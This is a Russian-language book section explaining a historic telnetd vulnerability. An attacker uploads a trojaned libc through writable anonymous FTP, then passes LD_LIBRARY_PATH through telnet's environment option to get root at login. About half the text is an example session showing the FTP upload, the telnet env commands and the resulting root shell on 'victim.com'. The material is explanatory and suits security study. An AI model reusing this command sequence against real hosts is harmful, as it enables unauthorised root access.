Атака из Internet
ba2f0727

Ошибка в демоне telnetd


Эта уязвимость, основанная на недоработке в демоне, отвечающем за протокол telnet, на наш взгляд, является одной из самых красивых и стала уже почти такой же хрестоматийной, как команда debug

в sendmail. Хосты, подверженные этой уязвимости, должны иметь анонимный ftp-сервис с разрешением на запись в один из своих каталогов (типа ~ftp/incoming).

Основная идея проникновения такова: злоумышленник подменяет стандартную библиотеку libc своей, имеющей "троянского коня": при вызове некоторых функций она запускает командную оболочку. Затем он помещает ее на атакуемую машину, используя анонимный ftp-сервис. Основная его задача - сделать так, чтобы она воспринималась на атакуемой машине как настоящая. Для этого он подменяет специальные переменные окружения, которые теперь будут указывать на "троянскую" библиотеку. Наконец, те telnet-демоны, которые поддерживают опцию передачи переменных окружения (RFC 1408 или RFC 1572), смогут передать их на удаленную машину. После этого злоумышленнику остается только попытаться войти по telnet'у на атакованную машину. При отработке функции login() будет вызвана одна из "троянских" функций, и злоумышленник получит привилегии суперпользователя. Таким образом, это типичная атака по сценарию 1, но для ее подготовки нужен предварительный вход на машину через анонимный ftp (естественно, возможны любые другие комбинации, позволяющие записать файл в любой каталог удаленной машины). Указанная атака выглядит примерно так:


evil:~# ftp victim.com


Connected to victim.com


220 Victim FTP server (Version wu-2.4(4) Sat Mar 24 14:37:08 EDT 1996) ready.


Name (evil:root): anonymous


331 Guest login ok, send your complete e-mail address as password.


Password: *****


230 Guest login ok, access restrictions apply.


Remote system type is UNIX.


Using binary mode to transfer files.


ftp> cd incoming




250 CWD command successful.


ftp> send libc.so.4


200 PORT command successful.


150 Opening BINARY mode data connection for libc.so.4.


226 Transfer complete.


ftp> bye


221 Goodbye.


evil:~# telnet


telnet> env define LD_LIBRARY_PATH /home/ftp/incoming


telnet> env export LD_LIBRARY_PATH


telnet> open victim.com


Trying 351.227.61.23...


Connected to victim.com.


Escape character is '^]'.


Linux 1.2.13 (victim.com) (ttyp0)


Victim login: hacker


Password:


bash# cd /root



Содержание раздела